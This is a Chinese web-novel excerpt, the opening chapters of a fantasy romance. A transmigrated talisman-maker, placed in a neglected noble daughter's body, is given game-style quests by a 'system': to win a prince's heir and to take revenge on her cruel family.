《在捉妖世界当热血万人迷》 1. 第1章 系统 《在捉妖世界当热血万人迷》全本免费阅读 马车慢悠悠地行进在路上,眼看就要进城。 马车外是来来往往的行人,与平日没有不同。马车里,茯凌昏昏欲睡,在她旁边坐着的,是数月前不远万里赶去北地接她回府的宋奶娘。 宋奶娘今天已经唠叨了一路,现下仍絮叨个不停:“姑娘,我说的话你可都记住了?” 茯凌昏昏欲睡地打了个哈欠:“记住了。” 看她那副心不在焉的模样,宋奶娘心里有些难受,原先水灵灵一个姑娘,养在府中的时候别提有多娇俏,怎知去了一趟北地,却变成如今这副懒洋洋的迟钝样儿。到底是北地艰苦险阻,不是高门贵女能待的地方。 宋奶娘叹了口气:“姑娘如今回来了,改改脾气也是好的,可别再忤逆你父亲,对府中的姊妹兄弟也要多让着些,别像以前那样鲁莽行事,若是有人背后非议,姑娘也就听个响,别真往心里去,不然这日子就没法过了。” 茯凌眯了眯眼睛,赶了一天路,此刻宋奶娘的叮嘱就像催眠曲一样飘进她耳朵里,在脑子里囫囵地绕一圈,又从另一只耳朵里飘出去,她忍不住又打了个哈欠:“奶娘,还有多久才到啊?” 宋奶娘撩开窗帘子看了眼外头:“快了,已经进城了。” 茯凌“嗯”了声,心里开始盘算要怎么完成接下来的任务。她现在的身份是当朝宰相林如进家的庶女林起月。而茯凌魂穿成林起月,算一算也就两个月前刚发生的事。 这个世界与茯凌先前生活的世界大差不差,都是神族、人族、妖族并存。 神族长寿,一般来说除了非正常死亡,都能活到一千多岁往上,且能修炼玄术。 人族大多活不过百岁,无法修习玄术,战斗力、生产力都远不如神族,导致贵族阶级几乎无一人族,从皇亲国戚到满朝文武,再到百家玄门,都被神族垄断。 妖族寿命最长,几千几万年都是有的,他们数量少,妖力磅礴,平均武力值要远高于神族和人族。 但两个世界也有些许不同之处,其中最大的不同便是神族与妖族的关系。 在茯凌那个世界,神、妖、人三族和平共处,大家都相信,不管是三族中的哪一族,都有好有坏,好的就应得到保护,坏的就该受到惩处。其中,神族惩处坏妖的方式,就是将坏妖降服后制成妖符,被制成妖符的妖自动认主,非召唤不得出。且一旦被制符师召出,就要听其驱策。 茯凌便是他们那一代制符师中最具天姿、最出类拔萃的一个,没有之一。 可惜原身林起月生活的这个世界并没有制符师这个说法,在这个世界,神、妖对立,已经到了你死我活的地步,神族通过修炼玄术来降妖,没有人会画符,也没有人听闻过什么符咒。 更可惜的是,原身林起月作为神族和人族生下的孩子,虽得长寿,却根本无法修炼这个世界的玄术。 说起来,这林起月也真是个悲催的主儿。 神族宰相林如进,爱上了一貌美人族,将其娶回家后百般宠爱,生下了女儿林起月。林起月刚出生时可谓是含着金汤勺、众星捧月、集父母宠爱于一身。 可惜好景不长,一转眼二十多年过去了,继承了神族寿命的林起月还是个稚童模样,宰相林如进也仍是年轻男子皮囊,可林起月的人族母亲却日渐衰老、容颜不再。林如进看着从前宠爱的女人已生华发,皱纹也慢慢爬上她的脸,便逐渐对其厌恶。 两人不再登对,这桩婚事甚至让林如进成了京中茶余饭后的谈资笑柄,这令林如进感到羞恼,最终情郎变成狠心肠,林如进将这个可怜的人族女人锁进别院,让她一个人在别院孤独死去。 比起人族母亲,林起月的境况也好不到哪里去,她虽然名义上还是林府的庶女,是宰相千金,但实际上早已从刚出生时、宰相大人的掌上明珠,滚落成地上一颗遭人厌的死鱼眼珠,还是蒙了灰尘的那种。 不光是府上的姊妹兄弟厌弃她,就连下人都敢在背后偷偷给她脸色。不过林起月也不是个善茬儿,是个“别人讥她一句,她非得回骂十句才痛快”的主儿。脾气不好,却偏偏是个不能修炼玄术的弱鸡,以至于总讨不到好,属于嘴上过足瘾了、身上却要结结实实挨顿毒打。 有一次被打得狠了,情急之下就掏出防身用的匕首,趁带头欺负她的三弟不注意,狠狠扎进了他的脖子。还好三弟没死成,不用她偿命,但死罪可免活罪难逃,林起月被林如进罚去了北地思过。 北地是苦寒之地,对身怀玄术的神族来说都算得上是流亡之所,更别提没有玄术傍身的林起月,被罚去北地,跟赐死基本没啥区别。真要说有什么区别,或许赐死来得还能更痛快些。 林起月在到达北地数月后就大病一场,命在旦夕的消息传回京都,林如进就命人前往北地将林起月接回。他已经把林起月的母亲关到死,再让林起月死在北地,对他的宰相名声绝非好事。 本意是想把垂危的林起月接回家中,方便他装装慈父,照料几日再对外宣布爱女不幸离世的消息,可谁知接林起月回京的路上,林起月的病却奇迹般地好了。 只是唯有茯凌知道,真正的林起月早就死了,死在回京路上的第一天,不然她也无法穿越过来。 如今她取而代之,成了悲催庶女林起月,穿过来的那一天,还意外触发了系统。想到这里,茯凌在心里微微叹了口气,天杀的。 此时,系统提示音在茯凌脑海中突兀响起:「再次提醒玩家,任务一已经开启,请玩家在规定期限内灭当朝宰相林如进满门,完成宿主林起月的临终遗愿。灭门方式:请玩家随意发挥」 茯凌嘴角抽了抽,看来她注定要在这个世界当个手刃亲人的疯批大魔王。 系统机械音再次响起:「友情提醒,任务一属于支线任务,玩家主线任务是攻略奚王世子相楚澜,请玩家谨记,灭门时务必小心」 茯凌翻了个白眼,行吧,既要当灭门狂徒,又要当爱情骗子,这系统绝壁是专门养成人渣的! 宋奶娘见茯凌翻白眼,以为是在烦她唠叨,忙说:“姑娘莫怪,我说这些也是为姑娘着想。姑娘再怎么说也是吃我的奶水长大的,我实在不忍心看姑娘再遭北地这等子罪。” 茯凌见她误会,有气无力地摇了摇头:“不是烦你,是烦待会儿见着爹爹后该说什么。”更烦该给她这个便宜爹一种什么样的死法。是一刀刺死?还是勒死?干脆一把火烧死,或者从高处推下去摔死,毒死也是个不错的选择。 宋奶娘欣慰地握住茯凌的手:“姑娘去了趟北地,也算是因祸得福。” 茯凌奇怪地看了她一眼。宋奶娘解释道:“文静了,也稳重了。不像以前那样龇牙咧嘴、见谁都想上去咬一口了。殊不知,那些人骂你、辱你,就是想看你发躁发狂,骗你自己往火坑里跳呢。” 茯凌:“……” 这宋奶娘看起来倒像个真心为林起月好的。 宋奶娘还欲再叮咛茯凌几句,马车却在此时倏地急停下来,宋奶娘猛地一晃,扬声问外边的马夫道:“怎么回事?怎么突然停下了?” “有人挡路。”马夫回。 宋奶娘一把掀开帘子:“谁挡路?相府的马车也敢挡?”她说着就要下去一探究竟,茯凌在车上坐着无聊,便也要跟着宋奶娘一道下车,宋奶娘忙道:“姑娘大病初愈,还是在车上静养得好,我现在就去将拦车的人赶走。” “不要。”茯凌言简意赅,接着矫健地跳下了马车,她得下车活动活动筋骨。 宋奶娘愣了下,没时间细想,连忙跟在茯凌身后,一道往前面去了。 茯凌脚刚落地时就瞧清了不远处的景象,只见拉车的骏马前跪着一名老妇和孩童,两人均衣衫褴褛、乞丐打扮,刚才便是他们突然半路闯出来挡住了马车去路。 茯凌走到二人身前站定,出声问道:“你二人有何事要挡我马车?” 未等老妇开口,宋奶娘就替人说道:“还能是什么事?乞丐巡街要钱,看见体面人家的马车就往上跪。这跪得好,能挣到一个月的吃食。” 茯凌皱了皱眉,下意识觉得宋奶娘这话听起来略微刻薄了些,再看那地上跪着的老妇,只见她头低得更往下了,声如蚊蝇地说了一句话,茯凌没听清,走近些弯腰凑近她:“你说什么?” 这下老妇头埋得更低了,仿佛要将自己藏到地下,她旁边的男孩儿却抬着头大方地看向茯凌,声音不卑不亢:“我奶奶说,请小姐施舍一些钱。” 茯凌闻声看向男孩儿,如果是人族的话,他估摸着应该是七八岁左右的年纪,很瘦,头发凌乱乌糟,小脸上也花猫一般沾满污渍,可那双眼睛却出奇的清亮,像清澈见底的泉水,又像是沉了千年的古井。茯凌来了点兴致,问他:“你不怕我?” 小男孩眼神不闪不避,声音依旧是清脆且镇定的:“我为何要怕你?” 茯凌觉得稀奇,她竟然从一个小孩儿的语气里听出了“古井无波”的意思,她笑了笑,随手从身上掏出一些碎银,递给男孩儿道:“拿这些钱带你奶奶去吃些好的。” 话音未落,只听一阵马蹄声急急传来,更伴随着一道清厉的少年惊呼:“让开!都让开!” 没等茯凌作出反应,黑色的马蹄就突然冲到了眼前,马背上的少年一身金线银玉华服,黑色长发高高束起,发尾随着他急切勒紧缰绳的动作而挽风扬动,可他“悬崖勒马”的尝试却并未奏效,高扬半空的马蹄眼看 2. 第2章 回府 《在捉妖世界当热血万人迷》全本免费阅读 许是没料到茯凌的反应,相楚澜似乎愣了下,而后才用愈发冷淡的声音回道:“半年未见,林二小姐倒是愈发伶牙俐齿了,看来北地也并非如传言所说是吃人的地方。” 茯凌不与他争辩,只笑了笑就将目光从他身上挪开,她看向高马尾少年,能跟奚王世子相楚澜一齐出现,先前又直呼林如进名讳,想必这位“高马尾”的身份也是非富即贵。只是不知这位贵公子为何要拦住一个小乞丐。 茯凌扬声道:“阁下当街纵马,险些伤人。现在既不道歉,也不关心,反倒拦人去路,拿这乞儿的样貌作乐,未免太不尊重人。难道豪门贵胄就能如此行事?“ 沐纶神色微滞,没想到眼前这位林二小姐是学变脸的,刚还一切正常,现在就陡然将炮火对准了他。 短暂的怔愣过后,沐纶往后退了一步,他颇有教养地朝老妇、乞儿、茯凌等人作揖,道:“刚才是我冒犯。当街纵马本是我的不该,只是这马突受惊吓,从府中疯跑至此,并非有意纵马。但不管怎么说,确实是我的过错。” 茯凌见他态度诚恳,知道他没有坏心思,便不打算再在此纠缠。她伸手虚扶额角,顺势就往旁边的宋奶娘身上靠去,宋奶娘眼明手快地扶住她,忙问:“姑娘身子又不爽利了?” 茯凌端出一副身娇体弱的病态,用虚弱的、却刚好能被相楚澜和沐纶听到的声音答道:“突然就有些头晕犯呕,许是舟车劳顿,病情又复发了。” 沐纶顺势关切道:“林二小姐抱恙在身?” 茯凌孱弱地点了点头,宋奶娘的眼圈便又红了起来,说:“我们姑娘在北地差点病死过去,回京路上好容易轻便了些,如今又遭这等惊吓。” 听到这话,沐纶难免感到愧疚,见那小乞丐扶着老妇欲走,他便没再阻拦,转而对茯凌道:“我府上有味奇药,是前些年云游至此的玄门长老所赠,兴许对林二小姐的病情有些裨益。我愿将其赠予林二小姐,以表歉意。” 茯凌没想到这位高马尾少年竟如此大方,但她深知装柔弱小白花的精髓,当下便表演了一招欲迎还拒,道:“如此稀罕珍贵的灵药,起月受之有愧,若是教家父知道,也定是要责罚我的。” “小姐不必忧心。”沐纶道,“本就是我的马匹惊扰到了小姐。小姐尽管回府,择日,我自会亲自将药材送去府上。” 茯凌暗喜于此等天降好事,林起月本就在林府不受待见,如今她初来乍到,与林起月的身体融合度还不高,以往修成的灵力难以释放使用,前期免不了要在林府受些委屈。若是这位贵族高马尾肯亲自为她送药上府,她大可借势狐假虎威一阵,届时等她灵力再恢复些,便可不用担心受人欺辱。茯凌故作虚弱地抿唇笑了下:“想不到小公子竟如此好心肠,真真教我又感动又钦佩。” 沐纶笑了下:“好说,好说。” 茯凌正扮着楚楚可怜的姿态,谁知系统却突然在她脑海里警铃大响,发出“嗡嗡嗡”的警报音,提醒道:「请玩家认真对待主线任务,主线目标相楚澜对玩家好感度正在下降,实时好感度为:-3」 茯凌神情一滞,好家伙,敢情这好感度还能从0往下降的?她纳闷地瞥向相楚澜,迎上一双张扬率性的眸子,他只淡淡回视她一眼,并无多余动作,却将眼中的轻视与不屑表现得淋漓尽致,看起来是个率直轻妄的主儿。 茯凌悻悻收回目光,目标好感度降到0以下,也就是说相楚澜对她从先前的“无感”变成了现在的“有点讨厌”?她干啥了?好像除了装柔弱以外,其他啥也没干啊……不管了!主线任务先放一边,当下集中心思完成支线任务一才是正经事。茯凌不再逗留,简单两句话就辞别了沐纶和相楚澜,接着就在宋奶娘的搀扶下转身上了马车,继续往林府去了。 沐纶目送马车远去,若有所思:“这林二小姐今日似乎有所不同。” 相楚澜眉梢一挑:“确实矫情不少。” “嘿,我可没说她矫情。”沐纶一边牵住马缰一边看向相楚澜,“我是指,林家二小姐今日看起来,似乎对你并不如以往热情。” 相楚澜没接话。沐纶又道:“不过也情有可原,毕竟病魔缠身,精力上确实会有不足。”说完,他又轻轻摇了摇头,似乎是在为林起月的病情而惋惜。 相楚澜却在此时轻嗤道:“装病罢了。” “装病?”沐纶想了想,“我看不像。她一个不通玄术的相府千金,去北地遭一趟罪回来,不大病一场,反而是件蹊跷事儿。” 相楚澜一针见血:“你见过哪个带病的闺中小姐能一掌接住马蹄?你又见过谁家病人前一秒还生龙活虎揭你过错,下一秒就弱柳扶风连站都站不稳了?难不成这病是急性子做客,说来就来?” 沐纶一时无言,默了默,不在意地挥了下手:“罢了,管她是真病还是装病,左右我的马惊扰到了她是事实,赠药本就情理之中。” 说着,陡然又想起先前见过的小乞丐,用胳膊肘轻撞了相楚澜一下,调笑道:“话说,你觉不觉得刚才的小乞丐,眉眼很像一个人?” 相楚澜当时并未细瞧,不甚关心地接话道:“像谁?” 沐纶笑道:“像浮夷小时候呀。尤其那双眼睛,一样的少年老成,一样的薄情寡义。” 相楚澜兴味索然,敷衍道:“他是太子,不敢妄言。” 沐纶耸了耸肩:“确实。他是皇后独子,是天上云、月中仙,父皇以传说中神明的名字‘浮夷’为他取名,我自是不能说一个小乞丐像他。” 相楚澜见状轻笑了声,半是揶揄半是宽慰道:“别呀,姑母为你取名沐纶,也颇花了些心思,你的名字不比他逊色多少。” 沐纶自我调侃道:“那是。母妃当年可是从众臣递上来的名册里精挑细选了三个多月,才最终定下我这个无以伦比的名字。” 相楚澜嗓音清淡中透着笑意:“嗯,确实无以伦比。” - 马车在城中又行了一段路程,总算来到林府正门口。茯凌在宋奶娘的搀扶下下了马车,守在外面的门吏见她回来,立马转身入府通传。因此,茯凌和宋奶娘进府没多久,就有下人过来通报,说是林如进让她先去偏厅候着。 茯凌从小是在宗门长大的,一两百年都泡在妖祟堆里,除了收妖就是和同宗子弟切磋比试,要么就是与天南地北的妖怪饮酒谈天,从未过过一天深院生活,此刻望着林府曲曲绕绕的回廊、林林立立的高墙,怎么看怎么觉得像一座硕大的鸟笼。 茯凌自由自在惯了,真不知道这样的深宅生活她能忍受几天,得尽快完成任务一才行。 进了偏厅后,茯凌就近找了张椅子坐下,宋奶娘连忙就要拉她起来,说:“姑娘刚回府,可千万别再让人挑着错处,咱们还是站着等老爷过来得好。” “没必要吧?他要是一个时辰都不来,难道我还要站这儿等他一个时辰不成?”茯凌肯乖乖坐在这儿等着就已经算不错的了,已经属于人在屋檐下、不得不低头,可指望她把头低成王八羔子,那恕她无法折腰!就坐着,偏不站着,她可是天纵英才·宗门荣耀·上古神龙之主·让妖族闻风丧胆的茯凌大人! 宋奶娘为她操碎了心:“当然有必要。姑娘就听我一句。老爷最看重这些,若是教老爷进来后发现姑娘一直搁这儿坐着,又该说姑娘不懂礼数、目无尊长了。” 茯凌油盐不进:“谁爱站谁站,反正我是不站。我大病初愈,得静养。”难怪林起月要杀人全家,这当人父亲的,九死一生的女儿拖着病体归家,他不让人先回房休息,反倒让人在偏厅候着,还指望人站着等他,什么臭毛病! 宋奶娘焦心极了:“我的好姑娘,你可别再给自己找麻烦了。如今全府上下可都还记恨着你捅三少爷的那一刀呢。你若刚回来就惹老爷不高兴,旁人指不定要怎么对付你。” 茯凌死猪不怕开水烫,屁股牢牢焊在椅子上就是一动不动,宋奶娘是左劝右劝都劝不动,正恨铁不成钢,那边茯凌却突然听到门外响起的脚步声,她极有眼色腾一下就屁股离座起了身,在林如进推门进来的同一时间,技艺娴熟地扶额虚靠在了宋奶娘身上,一套动作行云流水,把宋奶娘整得一愣一愣的根本反应不过来,宋奶娘正要开口问她,就听到了林如进威严的声音:“月儿大病未愈,怎么还一直站着?快坐下吧!” 茯凌并未坐下,而是耷拉着眼皮,用憔悴的眼神看向走进来的高个方脸中年男人,迅速将他的模样记在心里,声音飘零如落叶、却情真意切地说道:“女儿即便缠绵病榻,也是定要拖着病躯从塌上起身、站着恭候爹爹的,这是规矩,亦是女儿对爹爹的一片敬重之心。” 宋奶娘目瞪口呆地看着茯凌的表演,惊讶于她家二小姐这突如其来、有如神助的演技,但很快这股讶异之情就被欣慰所取代,孩子真的长大了!她连声附和道:“二小姐这一路都记挂着老爷。硬生生凭着这股思父之情,捱过了一路艰苦,否则…否则可能早便撒手去了。” 林如进坐在上座,不轻不重地叹了一口气,见茯凌仍旧站着,他心中颇为满意:“月儿此番回来,懂事了。” 茯凌道:“女儿从前任性,在北地走一遭才明白爹爹的良苦用心,今后定会三省吾身,感念爹爹养育之恩。” “能幡然醒悟总是好的。”林如进赞许道,“看来北地之行对你颇有益处,虽让你染病受疾,却也同时令你收获了从前不曾有的宽阔心境。” 茯凌心道,把你当大佛供着就是心境宽阔了?什么狗屁道理!我呸!但面上却仍旧柔柔弱弱、病病歪歪,轻声道:“爹爹说得极是。” 林如进又与茯凌说了几句话,说来说去都是列举她从前的不该,对自己女儿的病情倒是一概不问。最后大概觉得说得差不多了,就打发宋奶娘送茯凌回屋歇息。茯凌回去的路上问宋奶娘为何她回府只见了林如进一人,其他人用不用也去见见,宋奶娘只叹着气摇摇头,并未说什么,茯凌从她的反应里大致明白过来,看来整个林府除了宋奶娘,真真找不出第二个关心她死活的人了。 林起月居住的院子叫藏月阁,茯凌一 3. 第3章 刁奴 《在捉妖世界当热血万人迷》全本免费阅读 林起月的颠婆行为给了茯凌一点小小的震撼,她干脆不睡了,潜心打坐修炼,必须要努力变强才行,不然别说攻略相楚澜,恐怕连近他的身都困难。毕竟林起月应该早就躺在相楚澜黑名单里了,否则也不会在奚王府跪了几个时辰,连相楚澜的面都没见到。 半宿的修炼颇有收获,次日清晨,丫鬟进来伺候茯凌洗漱,这丫鬟茯凌昨日见过,带白胡子郎中进来、服侍她用膳沐浴的都是她。丫鬟名唤飞花,是林起月被罚去北地后新进府的,人族,今年刚满十六岁。 飞花给茯凌煎好药,又羞答答地塞给茯凌两颗糖莲子,让她润嘴。茯凌觉得这小姑娘还挺细心,笑问她:“糖莲子哪来的?” 小姑娘语气老实:“前两日发月钱,奴婢爱吃糖莲子,就买了些。小姐昨日说药苦,奴婢便拿两颗来给小姐解苦。” 茯凌大咧咧地把糖莲子丢进嘴里嚼了嚼,点头:“嗯!好吃。” 飞花便开心地笑起来:“那奴婢明日还给小姐带。” 茯凌摆摆手:“你拿点月钱也不容易,自己留着吃吧。待会儿我带你出门,去街上买他个十斤八斤糖莲子,再买些其他果脯蜜饯,我买账。” 说着就起身去妆台那边翻找,想找出一些银子金子什么的,她身上唯一剩下的碎银,昨天全给了小乞丐了。可她找了半天也没找出些什么,这妆台比她脸还干净,别说金子银子,连个像样的发钗首饰都没有。茯凌又起身去衣柜那儿整活,一边翻找一边嘀咕:“哎,我钱呢?” 飞花见茯凌东找西翻、一无所获,犹豫再三后,还是支支吾吾地告诉了她:“奴婢听府上的老人说,小姐被罚去北地后,房里的钱财首饰都被拿去充了公。现下小姐……大概是没钱买糖莲子和果脯蜜饯的……” 茯凌闻言停下手中动作,她扭头看飞花:“一个铜板都没给我剩下?” 飞花摇摇头:“都以为小姐回不来了。” 茯凌扶额,想到什么,又说:“我现在回府了,例钱应该可以重新续上。一般府上都哪天发例钱?” 飞花却道:“府里一向是夫人管家,小姐的例钱能不能续上,得夫人说了算。”她声音越说越低,“三少爷是夫人的心头肉,小姐往三少爷脖子上扎的那一刀……小姐这次能从北地回来,已经是夫人格外开恩……” 得!言下之意,积蓄被搜刮干净了,以后的例钱也没指望了,她想加餐吃点好的,得靠自己勤劳致富。不过茯凌也没泄气,她很快就把主意打到了满屋子挂着的相楚澜画像上。茯凌取下其中一幅画像:“那就把这些画像卖了。听说相楚澜惹人喜爱,这些画像又画工卓著,应该能卖上好价钱。” 飞花听了却大惊失色,连忙摆手道:“不可不可!宋奶娘说了,这些画像都是小姐您的宝贝,碰都不准旁人碰一下,连清扫都是小姐亲自用手帕一点点擦拭,怎么能拿出去卖?” “现在它们不是我的宝贝了。”茯凌抱定主意,招呼飞花跟她一起收画,“快把这些画都取下来,一幅幅卷好,这些可都是银子。” 要说这林起月颠归颠,但画工是真顶,笔触细腻,光影交融,把相楚澜勾画得好似天人之姿。这样的名画佳作就应该流入真正倾慕相楚澜的女子手中,在她手里吃灰多可惜!她不能暴殄天物啊! 茯凌手脚麻利,很快就把满屋子的画像全都收好堆到了一起,正准备坐下喝口水,却突然有人来了。来的是林如进嫡妻杜若芬身边的全嬷嬷,只见这全嬷嬷身材高胖、穿金戴银,扭着个屁股就风风火火直闯里屋,见到茯凌和飞花后就劈头盖脸骂了句:“大白天净往屋子里躲!府里养着你们这些手懒脚累的腌臜货真是花钱买死马,得不偿失!” 全嬷嬷半点没把茯凌放在眼里,见飞花站着没动,便斜眼去瞪她,狠狠啐了句:“杵在这儿当柱子呢?外面的活儿都干完了?” 飞花被全嬷嬷瞪得浑身一哆嗦,看来平时没少受她欺负,抖着嗓子回道:“没,没,奴婢现在就去干活。”说完甚至没敢看茯凌一眼,三步并两步地就急忙出去了。 等飞花一走,里屋就剩下了茯凌和全嬷嬷两人,茯凌站在原地细细打量全嬷嬷,因为从刚才全嬷嬷进来后,系统就在她脑海里发出提醒:「全艳琴,神族,杜若芬陪嫁丫鬟,非林如进直系亲属,但属任务一灭门范围,请玩家知悉,切勿错漏一人。」 茯凌在打量全嬷嬷的时候,全嬷嬷同样也在打量茯凌,她趾高气扬地把茯凌从上到下看了个遍,接着才用阴阳怪气的语调讥讽道:“呦,奴婢怎么看着二姑娘倒不像是重病缠身的?二姑娘莫不是为了回府,装病博同情骗人呢吧?” 她说这话时,林起月的一些记忆飞速进入到茯凌脑海里。原来林起月有个和她一同长大的贴身丫鬟,名唤英儿。英儿是低等神族,偶然间习得了一些低微玄术,虽然那点儿玄术实在搬不上台面,却也能勉强在林起月受家中姊妹兄弟欺辱时偷偷护她一护。 可英儿用玄术护主的秘密意外被全嬷嬷得知,全嬷嬷便开始百般刁难英儿,最后更是上禀杜若芬,称林起月刺伤三少爷的匕首是英儿给买的,杜若芬震怒,任凭林起月如何求情,英儿最终都没能逃过一劫,被全嬷嬷当着林起月的面活活烧死。 脑海中的记忆碎片清晰地记录着林起月和英儿的主仆情深,不知是不是因为灵魂在林起月身体里的缘故,此时的茯凌竟然能够感同身受林起月的愤怒,她握紧拳头,准备先拿全嬷嬷祭旗,很不客气地说:“找我什么事?有事说事,没事就趁早滚,别脏了我的眼。” “你个小蹄子!你怎么说话呢!”全嬷嬷丝毫没拿茯凌当主子,指着茯凌鼻子就破口大骂,“你以为你这次回来还能继续当你的林府二小姐?我呸!你也不瞧瞧自己什么德行!敢在我面前作威作福!你——啊!你干什么?!你放手!啊!要死了要死了!二小姐又要杀人了!” 茯凌汇聚全身灵力,一把捏住全嬷嬷指着她鼻子的那根手指,用力一折就把全嬷嬷的手指给生生折断了,疼得全嬷嬷龇牙咧嘴却根本逃脱不掉,她无法理解眼前的二小姐为什么突然间变得力大无穷,更没想到在掰断她手指后,茯凌竟然还不罢休,特嚣张地一把拉起她胳膊,咔嚓一声直接把她胳膊也给卸了,全嬷嬷疼得滋哇乱叫,茯凌却冷笑道:“区区见面礼,不必如此热情。” 听到屋外响起脚步声,茯凌知道定是全嬷嬷的叫声引来了人,她立马松开全嬷嬷,身子一歪就倒去了地上,紧接着就泪眼汪汪哭唧唧起来:“嬷嬷别打了,嬷嬷别打了,月儿疼,月儿好疼!” 赶过来的飞花见茯凌蜷缩在地上,眼泪水啪嗒啪嗒往下掉个不停,吓得连忙跑过去要扶她起来:“小姐!小姐!” 茯凌哭得上气不接下气:“全嬷嬷打我,好疼啊,好疼……” 全嬷嬷看傻了眼,足足愣滞了好久才反应过来发生了什么。她手指骨折,一条胳膊还脱了臼,疼痛在这个时候都不算什么了,因为跟此刻她内心的暴怒比起来,这点疼痛根本不值一提。她目眦欲裂地用另一条完好的胳膊指着茯凌:“好啊!没天理了!简直没天理了!小蹄子倒打一耙!看我今天不撕烂你的嘴!” 她说着就要上前撕扯茯凌,飞花忙拦在茯凌前面,央求道:“嬷嬷息怒!嬷嬷息怒!” 全嬷嬷恨得牙痒痒:“你给我让开!看我今天不弄死这个破烂货儿!” “你要弄死谁?!”一声低沉的暴斥陡然响起。全嬷嬷回头一看,只见林如进不知何时已经站在了她身后,此刻正满脸怒容地瞪视着她,他后面还站着两位身材细挑、轻裘宝带的少年,其中一位她曾有幸见过,是奚王世子。 全嬷嬷吓得连连往旁边退去,六神无主间竟一时忘记争辩。茯凌看向林如进,以及站在林如进 4. 第4章 报仇 《在捉妖世界当热血万人迷》全本免费阅读 全嬷嬷被拖下去后没多久,林如进也借故离开了,临走之前还向茯凌递了个眼色,指望茯凌能为刚才的事找补一二,挽回沐纶和相楚澜对林府的印象。 茯凌眼观鼻鼻观心,装着大家闺秀的样子招呼相楚澜二人坐下,又让飞花给二位看茶,只是飞花明显犯了难:“小姐,我们这屋哪有什么茶叶……”咱们屋可是穷到连糖莲子都买不起。 茯凌笑嘻嘻的:“那你去其他屋借点,去找我爹借,他那儿的茶叶一定好,我过两天就给还上。” 她满脸的泪珠,这么一笑起来简直效果拉满,一个命运凄苦却乐观坚韧的少女形象跃然眼前,任谁见了都忍不住要动容见怜。沐纶心下更是生出无限同情,忙道:“无妨,我与阿澜不喜用茶,普通白水润润嗓子即可。是吧,阿澜?” 他给相楚澜递去一个眼神,像是在说:没想到林二小姐在府中的生活如此不好过,恶仆刁难、经济拮据,连招待客人的茶叶竟都拿不出。咱们可不能再让她下不来台了,喝口白水意思意思,给她点儿面子。 相楚澜瞥了沐纶一眼,知道他这个表哥一向心善,又见茯凌正梨花带雨地看着他,点了点头:“嗯。” 茯凌于是就坡下驴,改口让飞花端了两杯白水上来,又学着名媛淑女的口吻说道:“昨日只当公子是随口一说,没成想今日便见公子亲自登门送药,公子一诺千金,乃风光霁月的君子贤士。” 沐纶谦虚地笑道:“贤士不敢当。只不过谨记君子之道,断不敢食言罢了。” 茯凌接着道:“对了,还不知公子姓名,应当如何称呼?” “我叫沐纶,你直接唤我姓名便是。”沐纶看了眼坐在旁边的相楚澜,继续对茯凌道,“我与阿澜同年出生,生辰略比他大些。” 茯凌点点头,也去看了相楚澜一眼,见他端起茶杯面无表情地喝了口里面的白水,茯凌有意与他套近乎,略凑过去一些,关心地问道:“好喝吗?” 相楚澜无语地看向茯凌,似乎在说:“你觉得白水能好喝吗?”但他并未挑明,只是年少轻狂般回了茯凌一句:“你尝一口不就知道了。” 茯凌努了努嘴,用魔法打败魔法:“那怎么能一样。我再怎么尝,也尝不出你嘴里那一口的味道呀。” “噗!”沐纶失态地喷了口水出来,他没想到刚受过欺辱惊吓、脸上泪渍还未干透的林二小姐,竟然这么快就能当着他的面调戏相楚澜。沐纶下意识就看向相楚澜,见他微微沉下了脸,再去看茯凌,却见这位林二小姐眼下挂着泪珠、正笑意盈盈地盯着相楚澜看,像极了皇宫后院那只受伤后求关心求抚摸求顺毛的猫咪。 相楚澜任是再如何桀骜轻纵,也承受不住茯凌如此热切直接的眼神,他不悦地移开目光:“林二小姐请自重。” 茯凌没想到他竟这么快就败下阵来不敢与她对视,因为没听到系统的警报音,于是她决定再接再厉,抓住眼前的机会就想多攻略几下,茯凌含羞带怯地对相楚澜道:“起初我好委屈好害怕,可一见到你,就什么委屈和害怕都没了,心里只剩下甜蜜,因为我知道你一定会保护我。” 一套调戏加表白的组合拳下来,茯凌没等来她期待中的反应,却见相楚澜的面色静成了一潭死水,他几乎是咬着牙重复了一遍刚才的话:“请你自重!” 这是什么反应?生气了?可是系统并没播报好感度正在下降的消息。难道这就是男人的欲擒故纵? 茯凌不相信自己的绝招会失灵,想当年她可是被宗门按着头苦练演技,经历九九八十一重考验,才练就这一身逢场作戏的本领,更是靠着这招扮可怜扮无辜扮纯情扮柔弱的绝活,哄得那条上古妖龙乖乖与她缔结主仆契约。难不成区区神族相楚澜,竟比上古妖龙还难骗不成?不可能,茯凌一鼓作气,落下两行清泪:“阿澜哥哥……” 相楚澜的嘴角抽动了下:“你喊我什么?” “阿澜哥哥……”茯凌的眼泪水又开始吧嗒吧嗒往下掉,“你不要对我这么凶,我害怕……” “够了!”相楚澜实在听不下去了,他腾一下起身离座,“我与小姐并无交情,担不起这声哥哥!今日前来,也只是陪沐纶送药,并无他想,请小姐不要误会,更不必再像以前那样轻妄纠缠。否则坏了林府清誉,小姐在府上的日子恐怕会更不好过!” 他一顿输出,倒把茯凌给唬住了,她这时总算听到系统迟来的警告:「请玩家认真对待主线任务,主线目标相楚澜对玩家好感度正在下降,实时好感度为:-7」 原来柔情小白花在这人面前玩不转。茯凌痛定思痛,打定主意,以后必须换个人设。 可她思考的模样落在外人眼里,却是一副被打击狠了、打击木了、被爱人拒绝后彻底碎了的神态,看得沐纶尴尬得恨不得找条地缝钻进去,他立马打圆场道:“嗳!阿澜,话可别说得太早!小心日后中了回旋镖,想听这一声哥哥都听不到。” 茯凌的一顿操作已经让相楚澜起了一身鸡皮疙瘩,现在沐纶火上浇油的一句话,更是恶心得他头皮发麻。他见过血光,砍过大妖,却从未被人如此惺惺作态、哭哭啼啼地架在火上煎。此刻是一秒也不愿在这儿多待,可瞥见茯凌眼睫凝泪,一脸悲凄的模样仿佛下一秒就要找根柱子撞死,他到底还是忍下不适,怕她想不开,语气放缓了些:“还请小姐安心养病,我与沐纶就不叨扰了,告辞。” 茯凌意识到自己把这人搞毛了,赶紧点头,心想快走吧,别搁这儿摆脸色了,你回去冷静冷静,我待会儿也要出去卖画了。 沐纶见相楚澜要走,赶紧拍了拍桌子上放着的木匣子,对茯凌道:“这里面的灵药,小姐可要记得吃。” 茯凌继续点头,挤出一张笑脸:“多谢。” 沐纶不再多说,跟在相楚澜身后便告辞离开,茯凌喊了飞花引他二人出府,等飞花将他二人送出府外转身往回走时,沐纶这才叹了一口气,对相楚澜道:“可怜的林家二小姐!” 